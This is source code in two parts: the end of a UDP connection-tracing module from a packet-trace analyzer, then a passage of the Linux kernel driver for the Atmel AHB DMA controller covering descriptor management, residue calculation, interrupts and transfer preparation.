++packet_count;
if (pup_save == NULL) {
return(NULL);
}
++udp_trace_count;
/* do time stats */
if (ZERO_TIME(&pup_save->first_time)) {
pup_save->first_time = current_time;
}
pup_save->last_time = current_time;
// Lets not waste any more CPU cycles if we are ignoring this connection.
if (pup_save->ignore_pair)
return (pup_save);
/* save to a file if requested */
if (output_filename) {
PcapSavePacket(output_filename,pip,plast);
}
/* now, print it if requested */
if (printem && !printallofem) {
printf("Packet %lu\n", pnum);
printpacket(0, /* original length not available */
(char *)plast - (char *)pip + 1,
NULL,0, /* physical stuff not known here */
pip,plast,NULL);
}
/* grab the address from this packet */
CopyAddr(&tp_in.addr_pair, pip,
uh_sport, uh_dport);
/* figure out which direction this packet is going */
if (dir == A2B) {
thisdir = &pup_save->a2b;
otherdir = &pup_save->b2a;
} else {
thisdir = &pup_save->b2a;
otherdir = &pup_save->a2b;
}
/* do data stats */
thisdir->packets += 1;
thisdir->data_bytes += uh_ulen;
/* total packets stats */
++pup_save->packets;
// char *name_from, *name_to;
// if (thisdir == &thisdir->ptp->a2b) {
// name_from = thisdir->ptp->a_endpoint;
// name_to = thisdir->ptp->b_endpoint;
// } else {
// name_from = thisdir->ptp->b_endpoint;
// name_to = thisdir->ptp->a_endpoint;
// }
//Oana --try to add for UDP same statistics as for TCP
// if (timeseries) {
// DoUDPThru(thisdir,uh_ulen);
// fprintf(stderr,"ana are mere\n");
// }
//-
return(pup_save);
}
void
udptrace_done(void)
{
udp_pair *pup;
int ix;
double etime;
if(do_udp) { // Just a quick sanity check to make sure if we need to do
// anything at all..
if(!run_continuously) {
if (!printsuppress) {
if (udp_trace_count == 0) {
fprintf(stdout,"no traced UDP packets\n");
return;
} else {
if ((tcp_trace_count > 0) && (!printbrief))
printf("\n============================================================\n");
fprintf(stdout,"UDP connection info:\n");
}
}
if (!printbrief)
fprintf(stdout,"%d UDP %s traced:\n",
num_udp_pairs + 1,
num_udp_pairs==0?"connection":"connections");
}
/* elapsed time */
etime = elapsed(first_packet,last_packet);
if (ctrunc > 0) {
fprintf(stdout,
"*** %lu packets were too short to process at some point\n",
ctrunc);
if (!warn_printtrunc)
fprintf(stdout,"\t(use -w option to show details)\n");
}
if (debug>1)
fprintf(stdout,"average search length: %d\n",
search_count / packet_count);
/* print each connection */
if(!run_continuously) {
if (!printsuppress) {
for (ix = 0; ix <= num_udp_pairs; ++ix) {
pup = utp[ix];
if (!pup->ignore_pair) {
if (printbrief) {
fprintf(stdout,"%3d: ", ix+1);
UDPPrintBrief(pup);
} else {
if (ix > 0)
fprintf(stdout,
"================================\n");
fprintf(stdout,"UDP connection %d:\n", ix+1);
UDPPrintTrace(pup);
}
}
}
}
}
}
}
static void
MoreUdpPairs(
int num_needed)
{
int new_max_udp_pairs;
int i;
if (num_needed < max_udp_pairs)
return;
new_max_udp_pairs = max_udp_pairs * 4;
while (new_max_udp_pairs < num_needed)
new_max_udp_pairs *= 4;
if (debug)
printf("trace: making more space for %d total UDP pairs\n",
new_max_udp_pairs);
/* enlarge array to hold any pairs that we might create */
utp = ReallocZ(utp,
max_udp_pairs * sizeof(udp_pair *),
new_max_udp_pairs * sizeof(udp_pair *));
/* enlarge array to keep track of which ones to ignore */
ignore_pairs = ReallocZ(ignore_pairs,
max_udp_pairs * sizeof(Bool),
new_max_udp_pairs * sizeof(Bool));
if (more_conns_ignored)
for (i=max_udp_pairs; i < new_max_udp_pairs;++i)
ignore_pairs[i] = TRUE;
max_udp_pairs = new_max_udp_pairs;
}
void
udptrace_init(void)
{
static Bool initted = FALSE;
if (initted)
return;
initted = TRUE;
/* create an array to hold any pairs that we might create */
utp = (udp_pair **) MallocZ(max_udp_pairs * sizeof(udp_pair *));
/* create an array to keep track of which ones to ignore */
ignore_pairs = (Bool *) MallocZ(max_udp_pairs * sizeof(Bool));
}
|
819106.c | /*
* Driver for the Atmel AHB DMA Controller (aka HDMA or DMAC on AT91 systems)
*
* Copyright (C) 2008 Atmel Corporation
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
*
* This supports the Atmel AHB DMA Controller found in several Atmel SoCs.
* The only Atmel DMA Controller that is not covered by this driver is the one
* found on AT91SAM9263.
*/
#include <dt-bindings/dma/at91.h>
#include <linux/clk.h>
#include <linux/dmaengine.h>
#include <linux/dma-mapping.h>
#include <linux/dmapool.h>
#include <linux/interrupt.h>
#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/slab.h>
#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/of_dma.h>
#include "at_hdmac_regs.h"
#include "dmaengine.h"
/*
* Glossary
* --------
*
* at_hdmac : Name of the ATmel AHB DMA Controller
* at_dma_ / atdma : ATmel DMA controller entity related
* atc_ / atchan : ATmel DMA Channel entity related
*/
#define ATC_DEFAULT_CFG (ATC_FIFOCFG_HALFFIFO)
#define ATC_DEFAULT_CTRLB (ATC_SIF(AT_DMA_MEM_IF) \
|ATC_DIF(AT_DMA_MEM_IF))
#define ATC_DMA_BUSWIDTHS\
(BIT(DMA_SLAVE_BUSWIDTH_UNDEFINED) |\
BIT(DMA_SLAVE_BUSWIDTH_1_BYTE) |\
BIT(DMA_SLAVE_BUSWIDTH_2_BYTES) |\
BIT(DMA_SLAVE_BUSWIDTH_4_BYTES))
#define ATC_MAX_DSCR_TRIALS 10
/*
* Initial number of descriptors to allocate for each channel. This could
* be increased during dma usage.
*/
static unsigned int init_nr_desc_per_channel = 64;
module_param(init_nr_desc_per_channel, uint, 0644);
MODULE_PARM_DESC(init_nr_desc_per_channel,
"initial descriptors per channel (default: 64)");
/* prototypes */
static dma_cookie_t atc_tx_submit(struct dma_async_tx_descriptor *tx);
static void atc_issue_pending(struct dma_chan *chan);
/*----------------------------------------------------------------------*/
static inline unsigned int atc_get_xfer_width(dma_addr_t src, dma_addr_t dst,
size_t len)
{
unsigned int width;
if (!((src | dst | len) & 3))
width = 2;
else if (!((src | dst | len) & 1))
width = 1;
else
width = 0;
return width;
}
static struct at_desc *atc_first_active(struct at_dma_chan *atchan)
{
return list_first_entry(&atchan->active_list,
struct at_desc, desc_node);
}
static struct at_desc *atc_first_queued(struct at_dma_chan *atchan)
{
return list_first_entry(&atchan->queue,
struct at_desc, desc_node);
}
/**
* atc_alloc_descriptor - allocate and return an initialized descriptor
* @chan: the channel to allocate descriptors for
* @gfp_flags: GFP allocation flags
*
* Note: The ack-bit is positioned in the descriptor flag at creation time
* to make initial allocation more convenient. This bit will be cleared
* and control will be given to client at usage time (during
* preparation functions).
*/
static struct at_desc *atc_alloc_descriptor(struct dma_chan *chan,
gfp_t gfp_flags)
{
struct at_desc *desc = NULL;
struct at_dma *atdma = to_at_dma(chan->device);
dma_addr_t phys;
desc = dma_pool_zalloc(atdma->dma_desc_pool, gfp_flags, &phys);
if (desc) {
INIT_LIST_HEAD(&desc->tx_list);
dma_async_tx_descriptor_init(&desc->txd, chan);
/* txd.flags will be overwritten in prep functions */
desc->txd.flags = DMA_CTRL_ACK;
desc->txd.tx_submit = atc_tx_submit;
desc->txd.phys = phys;
}
return desc;
}
/**
* atc_desc_get - get an unused descriptor from free_list
* @atchan: channel we want a new descriptor for
*/
static struct at_desc *atc_desc_get(struct at_dma_chan *atchan)
{
struct at_desc *desc, *_desc;
struct at_desc *ret = NULL;
unsigned long flags;
unsigned int i = 0;
LIST_HEAD(tmp_list);
spin_lock_irqsave(&atchan->lock, flags);
list_for_each_entry_safe(desc, _desc, &atchan->free_list, desc_node) {
i++;
if (async_tx_test_ack(&desc->txd)) {
list_del(&desc->desc_node);
ret = desc;
break;
}
dev_dbg(chan2dev(&atchan->chan_common),
"desc %p not ACKed\n", desc);
}
spin_unlock_irqrestore(&atchan->lock, flags);
dev_vdbg(chan2dev(&atchan->chan_common),
"scanned %u descriptors on freelist\n", i);
/* no more descriptor available in initial pool: create one more */
if (!ret) {
ret = atc_alloc_descriptor(&atchan->chan_common, GFP_ATOMIC);
if (ret) {
spin_lock_irqsave(&atchan->lock, flags);
atchan->descs_allocated++;
spin_unlock_irqrestore(&atchan->lock, flags);
} else {
dev_err(chan2dev(&atchan->chan_common),
"not enough descriptors available\n");
}
}
return ret;
}
/**
* atc_desc_put - move a descriptor, including any children, to the free list
* @atchan: channel we work on
* @desc: descriptor, at the head of a chain, to move to free list
*/
static void atc_desc_put(struct at_dma_chan *atchan, struct at_desc *desc)
{
if (desc) {
struct at_desc *child;
unsigned long flags;
spin_lock_irqsave(&atchan->lock, flags);
list_for_each_entry(child, &desc->tx_list, desc_node)
dev_vdbg(chan2dev(&atchan->chan_common),
"moving child desc %p to freelist\n",
child);
list_splice_init(&desc->tx_list, &atchan->free_list);
dev_vdbg(chan2dev(&atchan->chan_common),
"moving desc %p to freelist\n", desc);
list_add(&desc->desc_node, &atchan->free_list);
spin_unlock_irqrestore(&atchan->lock, flags);
}
}
/**
* atc_desc_chain - build chain adding a descriptor
* @first: address of first descriptor of the chain
* @prev: address of previous descriptor of the chain
* @desc: descriptor to queue
*
* Called from prep_* functions
*/
static void atc_desc_chain(struct at_desc **first, struct at_desc **prev,
struct at_desc *desc)
{
if (!(*first)) {
*first = desc;
} else {
/* inform the HW lli about chaining */
(*prev)->lli.dscr = desc->txd.phys;
/* insert the link descriptor to the LD ring */
list_add_tail(&desc->desc_node,
&(*first)->tx_list);
}
*prev = desc;
}
/**
* atc_dostart - starts the DMA engine for real
* @atchan: the channel we want to start
* @first: first descriptor in the list we want to begin with
*
* Called with atchan->lock held and bh disabled
*/
static void atc_dostart(struct at_dma_chan *atchan, struct at_desc *first)
{
struct at_dma *atdma = to_at_dma(atchan->chan_common.device);
/* ASSERT: channel is idle */
if (atc_chan_is_enabled(atchan)) {
dev_err(chan2dev(&atchan->chan_common),
"BUG: Attempted to start non-idle channel\n");
dev_err(chan2dev(&atchan->chan_common),
" channel: s0x%x d0x%x ctrl0x%x:0x%x l0x%x\n",
channel_readl(atchan, SADDR),
channel_readl(atchan, DADDR),
channel_readl(atchan, CTRLA),
channel_readl(atchan, CTRLB),
channel_readl(atchan, DSCR));
/* The tasklet will hopefully advance the queue... */
return;
}
vdbg_dump_regs(atchan);
channel_writel(atchan, SADDR, 0);
channel_writel(atchan, DADDR, 0);
channel_writel(atchan, CTRLA, 0);
channel_writel(atchan, CTRLB, 0);
channel_writel(atchan, DSCR, first->txd.phys);
channel_writel(atchan, SPIP, ATC_SPIP_HOLE(first->src_hole) |
ATC_SPIP_BOUNDARY(first->boundary));
channel_writel(atchan, DPIP, ATC_DPIP_HOLE(first->dst_hole) |
ATC_DPIP_BOUNDARY(first->boundary));
dma_writel(atdma, CHER, atchan->mask);
vdbg_dump_regs(atchan);
}
/*
* atc_get_desc_by_cookie - get the descriptor of a cookie
* @atchan: the DMA channel
* @cookie: the cookie to get the descriptor for
*/
static struct at_desc *atc_get_desc_by_cookie(struct at_dma_chan *atchan,
dma_cookie_t cookie)
{
struct at_desc *desc, *_desc;
list_for_each_entry_safe(desc, _desc, &atchan->queue, desc_node) {
if (desc->txd.cookie == cookie)
return desc;
}
list_for_each_entry_safe(desc, _desc, &atchan->active_list, desc_node) {
if (desc->txd.cookie == cookie)
return desc;
}
return NULL;
}
/**
* atc_calc_bytes_left - calculates the number of bytes left according to the
* value read from CTRLA.
*
* @current_len: the number of bytes left before reading CTRLA
* @ctrla: the value of CTRLA
*/
static inline int atc_calc_bytes_left(int current_len, u32 ctrla)
{
u32 btsize = (ctrla & ATC_BTSIZE_MAX);
u32 src_width = ATC_REG_TO_SRC_WIDTH(ctrla);
/*
* According to the datasheet, when reading the Control A Register
* (ctrla), the Buffer Transfer Size (btsize) bitfield refers to the
* number of transfers completed on the Source Interface.
* So btsize is always a number of source width transfers.
*/
return current_len - (btsize << src_width);
}
/**
* atc_get_bytes_left - get the number of bytes residue for a cookie
* @chan: DMA channel
* @cookie: transaction identifier to check status of
*/
static int atc_get_bytes_left(struct dma_chan *chan, dma_cookie_t cookie)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_desc *desc_first = atc_first_active(atchan);
struct at_desc *desc;
int ret;
u32 ctrla, dscr, trials;
/*
* If the cookie doesn't match to the currently running transfer then
* we can return the total length of the associated DMA transfer,
* because it is still queued.
*/
desc = atc_get_desc_by_cookie(atchan, cookie);
if (desc == NULL)
return -EINVAL;
else if (desc != desc_first)
return desc->total_len;
/* cookie matches to the currently running transfer */
ret = desc_first->total_len;
if (desc_first->lli.dscr) {
/* hardware linked list transfer */
/*
* Calculate the residue by removing the length of the child
* descriptors already transferred from the total length.
* To get the current child descriptor we can use the value of
* the channel's DSCR register and compare it against the value
* of the hardware linked list structure of each child
* descriptor.
*
* The CTRLA register provides us with the amount of data
* already read from the source for the current child
* descriptor. So we can compute a more accurate residue by also
* removing the number of bytes corresponding to this amount of
* data.
*
* However, the DSCR and CTRLA registers cannot be read both
* atomically. Hence a race condition may occur: the first read
* register may refer to one child descriptor whereas the second
* read may refer to a later child descriptor in the list
* because of the DMA transfer progression inbetween the two
* reads.
*
* One solution could have been to pause the DMA transfer, read
* the DSCR and CTRLA then resume the DMA transfer. Nonetheless,
* this approach presents some drawbacks:
* - If the DMA transfer is paused, RX overruns or TX underruns
* are more likey to occur depending on the system latency.
* Taking the USART driver as an example, it uses a cyclic DMA
* transfer to read data from the Receive Holding Register
* (RHR) to avoid RX overruns since the RHR is not protected
* by any FIFO on most Atmel SoCs. So pausing the DMA transfer
* to compute the residue would break the USART driver design.
* - The atc_pause() function masks interrupts but we'd rather
* avoid to do so for system latency purpose.
*
* Then we'd rather use another solution: the DSCR is read a
* first time, the CTRLA is read in turn, next the DSCR is read
* a second time. If the two consecutive read values of the DSCR
* are the same then we assume both refers to the very same
* child descriptor as well as the CTRLA value read inbetween
* does. For cyclic tranfers, the assumption is that a full loop
* is "not so fast".
* If the two DSCR values are different, we read again the CTRLA
* then the DSCR till two consecutive read values from DSCR are
* equal or till the maxium trials is reach.
* This algorithm is very unlikely not to find a stable value for
* DSCR.
*/
dscr = channel_readl(atchan, DSCR);
rmb(); /* ensure DSCR is read before CTRLA */
ctrla = channel_readl(atchan, CTRLA);
for (trials = 0; trials < ATC_MAX_DSCR_TRIALS; ++trials) {
u32 new_dscr;
rmb(); /* ensure DSCR is read after CTRLA */
new_dscr = channel_readl(atchan, DSCR);
/*
* If the DSCR register value has not changed inside the
* DMA controller since the previous read, we assume
* that both the dscr and ctrla values refers to the
* very same descriptor.
*/
if (likely(new_dscr == dscr))
break;
/*
* DSCR has changed inside the DMA controller, so the
* previouly read value of CTRLA may refer to an already
* processed descriptor hence could be outdated.
* We need to update ctrla to match the current
* descriptor.
*/
dscr = new_dscr;
rmb(); /* ensure DSCR is read before CTRLA */
ctrla = channel_readl(atchan, CTRLA);
}
if (unlikely(trials >= ATC_MAX_DSCR_TRIALS))
return -ETIMEDOUT;
/* for the first descriptor we can be more accurate */
if (desc_first->lli.dscr == dscr)
return atc_calc_bytes_left(ret, ctrla);
ret -= desc_first->len;
list_for_each_entry(desc, &desc_first->tx_list, desc_node) {
if (desc->lli.dscr == dscr)
break;
ret -= desc->len;
}
/*
* For the current descriptor in the chain we can calculate
* the remaining bytes using the channel's register.
*/
ret = atc_calc_bytes_left(ret, ctrla);
} else {
/* single transfer */
ctrla = channel_readl(atchan, CTRLA);
ret = atc_calc_bytes_left(ret, ctrla);
}
return ret;
}
/**
* atc_chain_complete - finish work for one transaction chain
* @atchan: channel we work on
* @desc: descriptor at the head of the chain we want do complete
*
* Called with atchan->lock held and bh disabled */
static void
atc_chain_complete(struct at_dma_chan *atchan, struct at_desc *desc)
{
struct dma_async_tx_descriptor *txd = &desc->txd;
struct at_dma *atdma = to_at_dma(atchan->chan_common.device);
dev_vdbg(chan2dev(&atchan->chan_common),
"descriptor %u complete\n", txd->cookie);
/* mark the descriptor as complete for non cyclic cases only */
if (!atc_chan_is_cyclic(atchan))
dma_cookie_complete(txd);
/* If the transfer was a memset, free our temporary buffer */
if (desc->memset_buffer) {
dma_pool_free(atdma->memset_pool, desc->memset_vaddr,
desc->memset_paddr);
desc->memset_buffer = false;
}
/* move children to free_list */
list_splice_init(&desc->tx_list, &atchan->free_list);
/* move myself to free_list */
list_move(&desc->desc_node, &atchan->free_list);
dma_descriptor_unmap(txd);
/* for cyclic transfers,
* no need to replay callback function while stopping */
if (!atc_chan_is_cyclic(atchan)) {
/*
* The API requires that no submissions are done from a
* callback, so we don't need to drop the lock here
*/
dmaengine_desc_get_callback_invoke(txd, NULL);
}
dma_run_dependencies(txd);
}
/**
* atc_complete_all - finish work for all transactions
* @atchan: channel to complete transactions for
*
* Eventually submit queued descriptors if any
*
* Assume channel is idle while calling this function
* Called with atchan->lock held and bh disabled
*/
static void atc_complete_all(struct at_dma_chan *atchan)
{
struct at_desc *desc, *_desc;
LIST_HEAD(list);
dev_vdbg(chan2dev(&atchan->chan_common), "complete all\n");
/*
* Submit queued descriptors ASAP, i.e. before we go through
* the completed ones.
*/
if (!list_empty(&atchan->queue))
atc_dostart(atchan, atc_first_queued(atchan));
/* empty active_list now it is completed */
list_splice_init(&atchan->active_list, &list);
/* empty queue list by moving descriptors (if any) to active_list */
list_splice_init(&atchan->queue, &atchan->active_list);
list_for_each_entry_safe(desc, _desc, &list, desc_node)
atc_chain_complete(atchan, desc);
}
/**
* atc_advance_work - at the end of a transaction, move forward
* @atchan: channel where the transaction ended
*
* Called with atchan->lock held and bh disabled
*/
static void atc_advance_work(struct at_dma_chan *atchan)
{
dev_vdbg(chan2dev(&atchan->chan_common), "advance_work\n");
if (atc_chan_is_enabled(atchan))
return;
if (list_empty(&atchan->active_list) ||
list_is_singular(&atchan->active_list)) {
atc_complete_all(atchan);
} else {
atc_chain_complete(atchan, atc_first_active(atchan));
/* advance work */
atc_dostart(atchan, atc_first_active(atchan));
}
}
/**
* atc_handle_error - handle errors reported by DMA controller
* @atchan: channel where error occurs
*
* Called with atchan->lock held and bh disabled
*/
static void atc_handle_error(struct at_dma_chan *atchan)
{
struct at_desc *bad_desc;
struct at_desc *child;
/*
* The descriptor currently at the head of the active list is
* broked. Since we don't have any way to report errors, we'll
* just have to scream loudly and try to carry on.
*/
bad_desc = atc_first_active(atchan);
list_del_init(&bad_desc->desc_node);
/* As we are stopped, take advantage to push queued descriptors
* in active_list */
list_splice_init(&atchan->queue, atchan->active_list.prev);
/* Try to restart the controller */
if (!list_empty(&atchan->active_list))
atc_dostart(atchan, atc_first_active(atchan));
/*
* KERN_CRITICAL may seem harsh, but since this only happens
* when someone submits a bad physical address in a
* descriptor, we should consider ourselves lucky that the
* controller flagged an error instead of scribbling over
* random memory locations.
*/
dev_crit(chan2dev(&atchan->chan_common),
"Bad descriptor submitted for DMA!\n");
dev_crit(chan2dev(&atchan->chan_common),
" cookie: %d\n", bad_desc->txd.cookie);
atc_dump_lli(atchan, &bad_desc->lli);
list_for_each_entry(child, &bad_desc->tx_list, desc_node)
atc_dump_lli(atchan, &child->lli);
/* Pretend the descriptor completed successfully */
atc_chain_complete(atchan, bad_desc);
}
/**
* atc_handle_cyclic - at the end of a period, run callback function
* @atchan: channel used for cyclic operations
*
* Called with atchan->lock held and bh disabled
*/
static void atc_handle_cyclic(struct at_dma_chan *atchan)
{
struct at_desc *first = atc_first_active(atchan);
struct dma_async_tx_descriptor *txd = &first->txd;
dev_vdbg(chan2dev(&atchan->chan_common),
"new cyclic period llp 0x%08x\n",
channel_readl(atchan, DSCR));
dmaengine_desc_get_callback_invoke(txd, NULL);
}
/*-- IRQ & Tasklet ---------------------------------------------------*/
static void atc_tasklet(unsigned long data)
{
struct at_dma_chan *atchan = (struct at_dma_chan *)data;
unsigned long flags;
spin_lock_irqsave(&atchan->lock, flags);
if (test_and_clear_bit(ATC_IS_ERROR, &atchan->status))
atc_handle_error(atchan);
else if (atc_chan_is_cyclic(atchan))
atc_handle_cyclic(atchan);
else
atc_advance_work(atchan);
spin_unlock_irqrestore(&atchan->lock, flags);
}
static irqreturn_t at_dma_interrupt(int irq, void *dev_id)
{
struct at_dma *atdma = (struct at_dma *)dev_id;
struct at_dma_chan *atchan;
int i;
u32 status, pending, imr;
int ret = IRQ_NONE;
do {
imr = dma_readl(atdma, EBCIMR);
status = dma_readl(atdma, EBCISR);
pending = status & imr;
if (!pending)
break;
dev_vdbg(atdma->dma_common.dev,
"interrupt: status = 0x%08x, 0x%08x, 0x%08x\n",
status, imr, pending);
for (i = 0; i < atdma->dma_common.chancnt; i++) {
atchan = &atdma->chan[i];
if (pending & (AT_DMA_BTC(i) | AT_DMA_ERR(i))) {
if (pending & AT_DMA_ERR(i)) {
/* Disable channel on AHB error */
dma_writel(atdma, CHDR,
AT_DMA_RES(i) | atchan->mask);
/* Give information to tasklet */
set_bit(ATC_IS_ERROR, &atchan->status);
}
tasklet_schedule(&atchan->tasklet);
ret = IRQ_HANDLED;
}
}
} while (pending);
return ret;
}
/*-- DMA Engine API --------------------------------------------------*/
/**
* atc_tx_submit - set the prepared descriptor(s) to be executed by the engine
* @desc: descriptor at the head of the transaction chain
*
* Queue chain if DMA engine is working already
*
* Cookie increment and adding to active_list or queue must be atomic
*/
static dma_cookie_t atc_tx_submit(struct dma_async_tx_descriptor *tx)
{
struct at_desc *desc = txd_to_at_desc(tx);
struct at_dma_chan *atchan = to_at_dma_chan(tx->chan);
dma_cookie_t cookie;
unsigned long flags;
spin_lock_irqsave(&atchan->lock, flags);
cookie = dma_cookie_assign(tx);
if (list_empty(&atchan->active_list)) {
dev_vdbg(chan2dev(tx->chan), "tx_submit: started %u\n",
desc->txd.cookie);
atc_dostart(atchan, desc);
list_add_tail(&desc->desc_node, &atchan->active_list);
} else {
dev_vdbg(chan2dev(tx->chan), "tx_submit: queued %u\n",
desc->txd.cookie);
list_add_tail(&desc->desc_node, &atchan->queue);
}
spin_unlock_irqrestore(&atchan->lock, flags);
return cookie;
}
/**
* atc_prep_dma_interleaved - prepare memory to memory interleaved operation
* @chan: the channel to prepare operation on
* @xt: Interleaved transfer template
* @flags: tx descriptor status flags
*/
static struct dma_async_tx_descriptor *
atc_prep_dma_interleaved(struct dma_chan *chan,
struct dma_interleaved_template *xt,
unsigned long flags)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct data_chunk *first;
struct at_desc *desc = NULL;
size_t xfer_count;
unsigned int dwidth;
u32 ctrla;
u32 ctrlb;
size_t len = 0;
int i;
if (unlikely(!xt || xt->numf != 1 || !xt->frame_size))
return NULL;
first = xt->sgl;
dev_info(chan2dev(chan),
"%s: src=%pad, dest=%pad, numf=%d, frame_size=%d, flags=0x%lx\n",
__func__, &xt->src_start, &xt->dst_start, xt->numf,
xt->frame_size, flags);
/*
* The controller can only "skip" X bytes every Y bytes, so we
* need to make sure we are given a template that fit that
* description, ie a template with chunks that always have the
* same size, with the same ICGs.
*/
for (i = 0; i < xt->frame_size; i++) {
struct data_chunk *chunk = xt->sgl + i;
if ((chunk->size != xt->sgl->size) ||
(dmaengine_get_dst_icg(xt, chunk) != dmaengine_get_dst_icg(xt, first)) ||
(dmaengine_get_src_icg(xt, chunk) != dmaengine_get_src_icg(xt, first))) {
dev_err(chan2dev(chan),
"%s: the controller can transfer only identical chunks\n",
__func__);
return NULL;
}
len += chunk->size;
}
dwidth = atc_get_xfer_width(xt->src_start,
xt->dst_start, len);
xfer_count = len >> dwidth;
if (xfer_count > ATC_BTSIZE_MAX) {
dev_err(chan2dev(chan), "%s: buffer is too big\n", __func__);
return NULL;
}
ctrla = ATC_SRC_WIDTH(dwidth) |
ATC_DST_WIDTH(dwidth);
ctrlb = ATC_DEFAULT_CTRLB | ATC_IEN
| ATC_SRC_ADDR_MODE_INCR
| ATC_DST_ADDR_MODE_INCR
| ATC_SRC_PIP
| ATC_DST_PIP
| ATC_FC_MEM2MEM;
/* create the transfer */
desc = atc_desc_get(atchan);
if (!desc) {
dev_err(chan2dev(chan),
"%s: couldn't allocate our descriptor\n", __func__);
return NULL;
}
desc->lli.saddr = xt->src_start;
desc->lli.daddr = xt->dst_start;
desc->lli.ctrla = ctrla | xfer_count;
desc->lli.ctrlb = ctrlb;
desc->boundary = first->size >> dwidth;
desc->dst_hole = (dmaengine_get_dst_icg(xt, first) >> dwidth) + 1;
desc->src_hole = (dmaengine_get_src_icg(xt, first) >> dwidth) + 1;
desc->txd.cookie = -EBUSY;
desc->total_len = desc->len = len;
/* set end-of-link to the last link descriptor of list*/
set_desc_eol(desc);
desc->txd.flags = flags; /* client is in control of this ack */
return &desc->txd;
}
/**
* atc_prep_dma_memcpy - prepare a memcpy operation
* @chan: the channel to prepare operation on
* @dest: operation virtual destination address
* @src: operation virtual source address
* @len: operation length
* @flags: tx descriptor status flags
*/
static struct dma_async_tx_descriptor *
atc_prep_dma_memcpy(struct dma_chan *chan, dma_addr_t dest, dma_addr_t src,
size_t len, unsigned long flags)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_desc *desc = NULL;
struct at_desc *first = NULL;
struct at_desc *prev = NULL;
size_t xfer_count;
size_t offset;
unsigned int src_width;
unsigned int dst_width;
u32 ctrla;
u32 ctrlb;
dev_vdbg(chan2dev(chan), "prep_dma_memcpy: d%pad s%pad l0x%zx f0x%lx\n",
&dest, &src, len, flags);
if (unlikely(!len)) {
dev_dbg(chan2dev(chan), "prep_dma_memcpy: length is zero!\n");
return NULL;
}
ctrlb = ATC_DEFAULT_CTRLB | ATC_IEN
| ATC_SRC_ADDR_MODE_INCR
| ATC_DST_ADDR_MODE_INCR
| ATC_FC_MEM2MEM;
/*
* We can be a lot more clever here, but this should take care
* of the most common optimization.
*/
src_width = dst_width = atc_get_xfer_width(src, dest, len);
ctrla = ATC_SRC_WIDTH(src_width) |
ATC_DST_WIDTH(dst_width);
for (offset = 0; offset < len; offset += xfer_count << src_width) {
xfer_count = min_t(size_t, (len - offset) >> src_width,
ATC_BTSIZE_MAX);
desc = atc_desc_get(atchan);
if (!desc)
goto err_desc_get;
desc->lli.saddr = src + offset;
desc->lli.daddr = dest + offset;
desc->lli.ctrla = ctrla | xfer_count;
desc->lli.ctrlb = ctrlb;
desc->txd.cookie = 0;
desc->len = xfer_count << src_width;
atc_desc_chain(&first, &prev, desc);
}
/* First descriptor of the chain embedds additional information */
first->txd.cookie = -EBUSY;
first->total_len = len;
/* set end-of-link to the last link descriptor of list*/
set_desc_eol(desc);
first->txd.flags = flags; /* client is in control of this ack */
return &first->txd;
err_desc_get:
atc_desc_put(atchan, first);
return NULL;
}
static struct at_desc *atc_create_memset_desc(struct dma_chan *chan,
dma_addr_t psrc,
dma_addr_t pdst,
size_t len)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_desc *desc;
size_t xfer_count;
u32 ctrla = ATC_SRC_WIDTH(2) | ATC_DST_WIDTH(2);
u32 ctrlb = ATC_DEFAULT_CTRLB | ATC_IEN |
ATC_SRC_ADDR_MODE_FIXED |
ATC_DST_ADDR_MODE_INCR |
ATC_FC_MEM2MEM;
xfer_count = len >> 2;
if (xfer_count > ATC_BTSIZE_MAX) {
dev_err(chan2dev(chan), "%s: buffer is too big\n",
__func__);
return NULL;
}
desc = atc_desc_get(atchan);
if (!desc) {
dev_err(chan2dev(chan), "%s: can't get a descriptor\n",
__func__);
return NULL;
}
desc->lli.saddr = psrc;
desc->lli.daddr = pdst;
desc->lli.ctrla = ctrla | xfer_count;
desc->lli.ctrlb = ctrlb;
desc->txd.cookie = 0;
desc->len = len;
return desc;
}
/**
* atc_prep_dma_memset - prepare a memcpy operation
* @chan: the channel to prepare operation on
* @dest: operation virtual destination address
* @value: value to set memory buffer to
* @len: operation length
* @flags: tx descriptor status flags
*/
static struct dma_async_tx_descriptor *
atc_prep_dma_memset(struct dma_chan *chan, dma_addr_t dest, int value,
size_t len, unsigned long flags)
{
struct at_dma *atdma = to_at_dma(chan->device);
struct at_desc *desc;
void __iomem *vaddr;
dma_addr_t paddr;
dev_vdbg(chan2dev(chan), "%s: d%pad v0x%x l0x%zx f0x%lx\n", __func__,
&dest, value, len, flags);
if (unlikely(!len)) {
dev_dbg(chan2dev(chan), "%s: length is zero!\n", __func__);
return NULL;
}
if (!is_dma_fill_aligned(chan->device, dest, 0, len)) {
dev_dbg(chan2dev(chan), "%s: buffer is not aligned\n",
__func__);
return NULL;
}
vaddr = dma_pool_alloc(atdma->memset_pool, GFP_ATOMIC, &paddr);
if (!vaddr) {
dev_err(chan2dev(chan), "%s: couldn't allocate buffer\n",
__func__);
return NULL;
}
*(u32*)vaddr = value;
desc = atc_create_memset_desc(chan, paddr, dest, len);
if (!desc) {
dev_err(chan2dev(chan), "%s: couldn't get a descriptor\n",
__func__);
goto err_free_buffer;
}
desc->memset_paddr = paddr;
desc->memset_vaddr = vaddr;
desc->memset_buffer = true;
desc->txd.cookie = -EBUSY;
desc->total_len = len;
/* set end-of-link on the descriptor */
set_desc_eol(desc);
desc->txd.flags = flags;
return &desc->txd;
err_free_buffer:
dma_pool_free(atdma->memset_pool, vaddr, paddr);
return NULL;
}
static struct dma_async_tx_descriptor *
atc_prep_dma_memset_sg(struct dma_chan *chan,
struct scatterlist *sgl,
unsigned int sg_len, int value,
unsigned long flags)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma *atdma = to_at_dma(chan->device);
struct at_desc *desc = NULL, *first = NULL, *prev = NULL;
struct scatterlist *sg;
void __iomem *vaddr;
dma_addr_t paddr;
size_t total_len = 0;
int i;
dev_vdbg(chan2dev(chan), "%s: v0x%x l0x%zx f0x%lx\n", __func__,
value, sg_len, flags);
if (unlikely(!sgl || !sg_len)) {
dev_dbg(chan2dev(chan), "%s: scatterlist is empty!\n",
__func__);
return NULL;
